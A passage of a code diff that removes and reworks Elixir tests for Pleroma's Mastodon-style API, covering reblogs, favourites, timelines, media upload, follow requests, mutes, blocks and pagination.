- |> get("/api/v1/statuses/#{reblog_activity1.id}")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
- "reblogged" => true,
- "favourited" => true,
- "bookmarked" => true
- } = json_response(conn_res, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error when activity is not exist", %{conn: conn} do
- user = insert(:user)
-
- conn =
+ res =
conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/foo/reblog")
-
- assert json_response(conn, 400) == %{"error" => "Could not repeat"}
- end
- end
-
- describe "unreblogging" do
- test "unreblogs and returns the unreblogged status", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- {:ok, _, _} = CommonAPI.repeat(activity.id, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unreblog")
-
- assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error when activity is not exist", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/foo/unreblog")
-
- assert json_response(conn, 400) == %{"error" => "Could not unrepeat"}
- end
- end
-
- describe "favoriting" do
- test "favs a status and returns it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/favourite")
-
- assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
- json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error for a wrong id", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/favourite")
-
- assert json_response(conn, 400) == %{"error" => "Could not favorite"}
- end
- end
-
- describe "unfavoriting" do
- test "unfavorites a status and returns it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- {:ok, _, _} = CommonAPI.favorite(activity.id, user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unfavourite")
-
- assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
- json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "returns 400 error for a wrong id", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/1/unfavourite")
-
- assert json_response(conn, 400) == %{"error" => "Could not unfavorite"}
- end
- end
-
- describe "user timelines" do
- test "gets a users statuses", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
- user_three = insert(:user)
-
- {:ok, user_three} = User.follow(user_three, user_one)
-
- {:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})
-
- {:ok, direct_activity} =
- CommonAPI.post(user_one, %{
- "status" => "Hi, @#{user_two.nickname}.",
- "visibility" => "direct"
- })
-
- {:ok, private_activity} =
- CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})
-
- resp =
- conn
- |> get("/api/v1/accounts/#{user_one.id}/statuses")
-
- assert [%{"id" => id}] = json_response(resp, 200)
- assert id == to_string(activity.id)
-
- resp =
- conn
- |> assign(:user, user_two)
- |> get("/api/v1/accounts/#{user_one.id}/statuses")
-
- assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
- assert id_one == to_string(direct_activity.id)
- assert id_two == to_string(activity.id)
-
- resp =
- conn
- |> assign(:user, user_three)
- |> get("/api/v1/accounts/#{user_one.id}/statuses")
-
- assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
- assert id_one == to_string(private_activity.id)
- assert id_two == to_string(activity.id)
- end
-
- test "unimplemented pinned statuses feature", %{conn: conn} do
- note = insert(:note_activity)
- user = User.get_cached_by_ap_id(note.data["actor"])
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
-
- assert json_response(conn, 200) == []
- end
-
- test "gets an users media", %{conn: conn} do
- note = insert(:note_activity)
- user = User.get_cached_by_ap_id(note.data["actor"])
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- media =
- TwitterAPI.upload(file, user, "json")
- |> Jason.decode!()
-
- {:ok, image_post} =
- CommonAPI.post(user, %{"status" => "cofe", "media_ids" => [media["media_id"]]})
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(image_post.id)
-
- conn =
- build_conn()
- |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(image_post.id)
- end
-
- test "gets a user's statuses without reblogs", %{conn: conn} do
- user = insert(:user)
- {:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"})
- {:ok, _, _} = CommonAPI.repeat(post.id, user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(post.id)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(post.id)
- end
-
- test "filters user's statuses by a hashtag", %{conn: conn} do
- user = insert(:user)
- {:ok, post} = CommonAPI.post(user, %{"status" => "#hashtag"})
- {:ok, _post} = CommonAPI.post(user, %{"status" => "hashtag"})
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/statuses", %{"tagged" => "hashtag"})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(post.id)
- end
- end
-
- describe "user relationships" do
- test "returns the relationships for the current user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, user} = User.follow(user, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]})
-
- assert [relationship] = json_response(conn, 200)
-
- assert to_string(other_user.id) == relationship["id"]
- end
- end
-
- describe "media upload" do
- setup do
- upload_config = Pleroma.Config.get([Pleroma.Upload])
- proxy_config = Pleroma.Config.get([:media_proxy])
-
- on_exit(fn ->
- Pleroma.Config.put([Pleroma.Upload], upload_config)
- Pleroma.Config.put([:media_proxy], proxy_config)
- end)
-
- user = insert(:user)
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- image = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- [conn: conn, image: image]
- end
-
- test "returns uploaded image", %{conn: conn, image: image} do
- desc = "Description of the image"
-
- media =
- conn
- |> post("/api/v1/media", %{"file" => image, "description" => desc})
- |> json_response(:ok)
-
- assert media["type"] == "image"
- assert media["description"] == desc
- assert media["id"]
-
- object = Repo.get(Object, media["id"])
- assert object.data["actor"] == User.ap_id(conn.assigns[:user])
- end
-
- test "returns proxied url when media proxy is enabled", %{conn: conn, image: image} do
- Pleroma.Config.put([Pleroma.Upload, :base_url], "https://media.pleroma.social")
-
- proxy_url = "https://cache.pleroma.social"
- Pleroma.Config.put([:media_proxy, :enabled], true)
- Pleroma.Config.put([:media_proxy, :base_url], proxy_url)
-
- media =
- conn
- |> post("/api/v1/media", %{"file" => image})
- |> json_response(:ok)
-
- assert String.starts_with?(media["url"], proxy_url)
- end
-
- test "returns media url when proxy is enabled but media url is whitelisted", %{
- conn: conn,
- image: image
- } do
- media_url = "https://media.pleroma.social"
- Pleroma.Config.put([Pleroma.Upload, :base_url], media_url)
-
- Pleroma.Config.put([:media_proxy, :enabled], true)
- Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social")
- Pleroma.Config.put([:media_proxy, :whitelist], ["media.pleroma.social"])
-
- media =
- conn
- |> post("/api/v1/media", %{"file" => image})
- |> json_response(:ok)
-
- assert String.starts_with?(media["url"], media_url)
- end
- end
-
- describe "locked accounts" do
- test "/api/v1/follow_requests works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/follow_requests")
-
- assert [relationship] = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
- end
-
- test "/api/v1/follow_requests/:id/authorize works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/follow_requests/#{other_user.id}/authorize")
-
- assert relationship = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == true
- end
-
- test "verify_credentials", %{conn: conn} do
- user = insert(:user, %{info: %User.Info{default_scope: "private"}})
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/verify_credentials")
-
- assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
- assert id == to_string(user.id)
- end
-
- test "/api/v1/follow_requests/:id/reject works" do
- user = insert(:user, %{info: %User.Info{locked: true}})
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/follow_requests/#{other_user.id}/reject")
-
- assert relationship = json_response(conn, 200)
- assert to_string(other_user.id) == relationship["id"]
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
- end
- end
-
- test "account fetching", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}")
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == to_string(user.id)
-
- conn =
- build_conn()
- |> get("/api/v1/accounts/-1")
-
- assert %{"error" => "Can't find user"} = json_response(conn, 404)
- end
-
- test "account fetching also works nickname", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.nickname}")
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == user.id
- end
-
- test "mascot upload", %{conn: conn} do
- user = insert(:user)
-
- non_image_file = %Plug.Upload{
- content_type: "audio/mpeg",
- path: Path.absname("test/fixtures/sound.mp3"),
- filename: "sound.mp3"
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file})
-
- assert json_response(conn, 415)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => file})
-
- assert %{"id" => _, "type" => image} = json_response(conn, 200)
- end
-
- test "mascot retrieving", %{conn: conn} do
- user = insert(:user)
- # When user hasn't set a mascot, we should just get pleroma tan back
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/pleroma/mascot")
-
- assert %{"url" => url} = json_response(conn, 200)
- assert url =~ "pleroma-fox-tan-smol"
-
- # When a user sets their mascot, we should get that back
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> put("/api/v1/pleroma/mascot", %{"file" => file})
-
- assert json_response(conn, 200)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/pleroma/mascot")
-
- assert %{"url" => url, "type" => "image"} = json_response(conn, 200)
- assert url =~ "an_image"
- end
-
- test "hashtag timeline", %{conn: conn} do
- following = insert(:user)
-
- capture_log(fn ->
- {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"})
-
- {:ok, [_activity]} =
- OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
-
- nconn =
- conn
- |> get("/api/v1/timelines/tag/2hu")
-
- assert [%{"id" => id}] = json_response(nconn, 200)
-
- assert id == to_string(activity.id)
-
- # works for different capitalization too
- nconn =
- conn
- |> get("/api/v1/timelines/tag/2HU")
-
- assert [%{"id" => id}] = json_response(nconn, 200)
-
- assert id == to_string(activity.id)
- end)
- end
-
- test "multi-hashtag timeline", %{conn: conn} do
- user = insert(:user)
-
- {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
- {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
- {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})
-
- any_test =
- conn
- |> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]})
-
- [status_none, status_test1, status_test] = json_response(any_test, 200)
-
- assert to_string(activity_test.id) == status_test["id"]
- assert to_string(activity_test1.id) == status_test1["id"]
- assert to_string(activity_none.id) == status_none["id"]
-
- restricted_test =
- conn
- |> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})
-
- assert [status_test1] == json_response(restricted_test, 200)
-
- all_test = conn |> get("/api/v1/timelines/tag/test", %{"all" => ["none"]})
-
- assert [status_none] == json_response(all_test, 200)
- end
-
- test "getting followers", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, user} = User.follow(user, other_user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{other_user.id}/followers")
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(user.id)
- end
-
- test "getting followers, hide_followers", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user, %{info: %{hide_followers: true}})
- {:ok, _user} = User.follow(user, other_user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{other_user.id}/followers")
-
- assert [] == json_response(conn, 200)
- end
-
- test "getting followers, hide_followers, same user requesting", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user, %{info: %{hide_followers: true}})
- {:ok, _user} = User.follow(user, other_user)
-
- conn =
- conn
- |> assign(:user, other_user)
- |> get("/api/v1/accounts/#{other_user.id}/followers")
-
- refute [] == json_response(conn, 200)
- end
-
- test "getting followers, pagination", %{conn: conn} do
- user = insert(:user)
- follower1 = insert(:user)
- follower2 = insert(:user)
- follower3 = insert(:user)
- {:ok, _} = User.follow(follower1, user)
- {:ok, _} = User.follow(follower2, user)
- {:ok, _} = User.follow(follower3, user)
-
- conn =
- conn
- |> assign(:user, user)
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}")
-
- assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
- assert id3 == follower3.id
- assert id2 == follower2.id
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}")
-
- assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
- assert id2 == follower2.id
- assert id1 == follower1.id
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}")
-
- assert [%{"id" => id2}] = json_response(res_conn, 200)
- assert id2 == follower2.id
-
- assert [link_header] = get_resp_header(res_conn, "link")
- assert link_header =~ ~r/min_id=#{follower2.id}/
- assert link_header =~ ~r/max_id=#{follower2.id}/
- end
-
- test "getting following", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, user} = User.follow(user, other_user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/following")
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(other_user.id)
- end
-
- test "getting following, hide_follows", %{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
- other_user = insert(:user)
- {:ok, user} = User.follow(user, other_user)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/following")
-
- assert [] == json_response(conn, 200)
- end
-
- test "getting following, hide_follows, same user requesting", %{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
- other_user = insert(:user)
- {:ok, user} = User.follow(user, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/#{user.id}/following")
-
- refute [] == json_response(conn, 200)
- end
-
- test "getting following, pagination", %{conn: conn} do
- user = insert(:user)
- following1 = insert(:user)
- following2 = insert(:user)
- following3 = insert(:user)
- {:ok, _} = User.follow(user, following1)
- {:ok, _} = User.follow(user, following2)
- {:ok, _} = User.follow(user, following3)
-
- conn =
- conn
- |> assign(:user, user)
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}")
-
- assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
- assert id3 == following3.id
- assert id2 == following2.id
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}")
-
- assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
- assert id2 == following2.id
- assert id1 == following1.id
-
- res_conn =
- conn
- |> get("/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}")
-
- assert [%{"id" => id2}] = json_response(res_conn, 200)
- assert id2 == following2.id
-
- assert [link_header] = get_resp_header(res_conn, "link")
- assert link_header =~ ~r/min_id=#{following2.id}/
- assert link_header =~ ~r/max_id=#{following2.id}/
- end
-
- test "following / unfollowing a user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/follow")
-
- assert %{"id" => _id, "following" => true} = json_response(conn, 200)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/unfollow")
-
- assert %{"id" => _id, "following" => false} = json_response(conn, 200)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/follows", %{"uri" => other_user.nickname})
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == to_string(other_user.id)
- end
-
- test "following without reblogs" do
- follower = insert(:user)
- followed = insert(:user)
- other_user = insert(:user)
-
- conn =
- build_conn()
- |> assign(:user, follower)
- |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=false")
-
- assert %{"showing_reblogs" => false} = json_response(conn, 200)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"})
- {:ok, reblog, _} = CommonAPI.repeat(activity.id, followed)
-
- conn =
- build_conn()
- |> assign(:user, User.get_cached_by_id(follower.id))
- |> get("/api/v1/timelines/home")
-
- assert [] == json_response(conn, 200)
-
- conn =
- build_conn()
- |> assign(:user, follower)
- |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=true")
-
- assert %{"showing_reblogs" => true} = json_response(conn, 200)
-
- conn =
- build_conn()
- |> assign(:user, User.get_cached_by_id(follower.id))
- |> get("/api/v1/timelines/home")
-
- expected_activity_id = reblog.id
- assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200)
- end
-
- test "following / unfollowing errors" do
- user = insert(:user)
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- # self follow
- conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow")
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
-
- # self unfollow
- user = User.get_cached_by_id(user.id)
- conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow")
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
-
- # self follow via uri
- user = User.get_cached_by_id(user.id)
- conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname})
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
-
- # follow non existing user
- conn_res = post(conn, "/api/v1/accounts/doesntexist/follow")
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
-
- # follow non existing user via uri
- conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"})
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
-
- # unfollow non existing user
- conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow")
- assert %{"error" => "Record not found"} = json_response(conn_res, 404)
- end
-
- describe "mute/unmute" do
- test "with notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/mute")
-
- response = json_response(conn, 200)
-
- assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = response
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/unmute")
-
- response = json_response(conn, 200)
- assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
- end
-
- test "without notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"})
-
- response = json_response(conn, 200)
-
- assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = response
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/unmute")
-
- response = json_response(conn, 200)
- assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
- end
- end
-
- test "subscribing / unsubscribing to a user", %{conn: conn} do
- user = insert(:user)
- subscription_target = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe")
-
- assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe")
-
- assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200)
- end
-
- test "getting a list of mutes", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, user} = User.mute(user, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/mutes")
-
- other_user_id = to_string(other_user.id)
- assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
- end
-
- test "blocking / unblocking a user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/block")
-
- assert %{"id" => _id, "blocking" => true} = json_response(conn, 200)
-
- user = User.get_cached_by_id(user.id)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/v1/accounts/#{other_user.id}/unblock")
-
- assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
- end
-
- test "getting a list of blocks", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, user} = User.block(user, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/blocks")
-
- other_user_id = to_string(other_user.id)
- assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
- end
-
- test "blocking / unblocking a domain", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
-
- assert %{} = json_response(conn, 200)
- user = User.get_cached_by_ap_id(user.ap_id)
- assert User.blocks?(user, other_user)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
-
- assert %{} = json_response(conn, 200)
- user = User.get_cached_by_ap_id(user.ap_id)
- refute User.blocks?(user, other_user)
- end
-
- test "getting a list of domain blocks", %{conn: conn} do
- user = insert(:user)
-
- {:ok, user} = User.block_domain(user, "bad.site")
- {:ok, user} = User.block_domain(user, "even.worse.site")
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/domain_blocks")
-
- domain_blocks = json_response(conn, 200)
-
- assert "bad.site" in domain_blocks
- assert "even.worse.site" in domain_blocks
- end
-
- test "unimplemented follow_requests, blocks, domain blocks" do
- user = insert(:user)
-
- ["blocks", "domain_blocks", "follow_requests"]
- |> Enum.each(fn endpoint ->
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/#{endpoint}")
-
- assert [] = json_response(conn, 200)
- end)
- end
-
- test "returns the favorites of a user", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, _} = CommonAPI.post(other_user, %{"status" => "bla"})
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "traps are happy"})
-
- {:ok, _, _} = CommonAPI.favorite(activity.id, user)
-
- first_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/favourites")
-
- assert [status] = json_response(first_conn, 200)
- assert status["id"] == to_string(activity.id)
-
- assert [{"link", _link_header}] =
- Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end)
-
- # Honours query params
- {:ok, second_activity} =
- CommonAPI.post(other_user, %{
- "status" =>
- "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful."
- })
-
- {:ok, _, _} = CommonAPI.favorite(second_activity.id, user)
-
- last_like = status["id"]
-
- second_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/favourites?since_id=#{last_like}")
-
- assert [second_status] = json_response(second_conn, 200)
- assert second_status["id"] == to_string(second_activity.id)
-
- third_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/favourites?limit=0")
-
- assert [] = json_response(third_conn, 200)
- end
-
- describe "getting favorites timeline of specified user" do
- setup do
- [current_user, user] = insert_pair(:user, %{info: %{hide_favorites: false}})
- [current_user: current_user, user: user]
- end
-
- test "returns list of statuses favorited by specified user", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- [activity | _] = insert_pair(:note_activity)
- CommonAPI.favorite(activity.id, user)
-
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- [like] = response
-
- assert length(response) == 1
- assert like["id"] == activity.id
- end
-
- test "returns favorites for specified user_id when user is not logged in", %{
- conn: conn,
- user: user
- } do
- activity = insert(:note_activity)
- CommonAPI.favorite(activity.id, user)
-
- response =
- conn
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- assert length(response) == 1
- end
-
- test "returns favorited DM only when user is logged in and he is one of recipients", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- {:ok, direct} =
- CommonAPI.post(current_user, %{
- "status" => "Hi @#{user.nickname}!",
- "visibility" => "direct"
- })
-
- CommonAPI.favorite(direct.id, user)
-
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- assert length(response) == 1
-
- anonymous_response =
- conn
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- assert Enum.empty?(anonymous_response)
- end
-
- test "does not return others' favorited DM when user is not one of recipients", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- user_two = insert(:user)
-
- {:ok, direct} =
- CommonAPI.post(user_two, %{
- "status" => "Hi @#{user.nickname}!",
- "visibility" => "direct"
- })
-
- CommonAPI.favorite(direct.id, user)
-
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "paginates favorites using since_id and max_id", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- activities = insert_list(10, :note_activity)
-
- Enum.each(activities, fn activity ->
- CommonAPI.favorite(activity.id, user)
- end)
-
- third_activity = Enum.at(activities, 2)
- seventh_activity = Enum.at(activities, 6)
-
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{
- since_id: third_activity.id,
- max_id: seventh_activity.id
- })
- |> json_response(:ok)
-
- assert length(response) == 3
- refute third_activity in response
- refute seventh_activity in response
- end
-
- test "limits favorites using limit parameter", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- 7
- |> insert_list(:note_activity)
- |> Enum.each(fn activity ->
- CommonAPI.favorite(activity.id, user)
- end)
-
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{limit: "3"})
- |> json_response(:ok)
-
- assert length(response) == 3
- end
-
- test "returns empty response when user does not have any favorited statuses", %{
- conn: conn,
- current_user: current_user,
- user: user
- } do
- response =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "returns 404 error when specified user is not exist", %{conn: conn} do
- conn = get(conn, "/api/v1/pleroma/accounts/test/favourites")
-
- assert json_response(conn, 404) == %{"error" => "Record not found"}
- end
-
- test "returns 403 error when user has hidden own favorites", %{
- conn: conn,
- current_user: current_user
- } do
- user = insert(:user, %{info: %{hide_favorites: true}})
- activity = insert(:note_activity)
- CommonAPI.favorite(activity.id, user)
-
- conn =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
-
- assert json_response(conn, 403) == %{"error" => "Can't get favorites"}
- end
-
- test "hides favorites for new users by default", %{conn: conn, current_user: current_user} do
- user = insert(:user)
- activity = insert(:note_activity)
- CommonAPI.favorite(activity.id, user)
-
- conn =
- conn
- |> assign(:user, current_user)
- |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
-
- assert user.info.hide_favorites
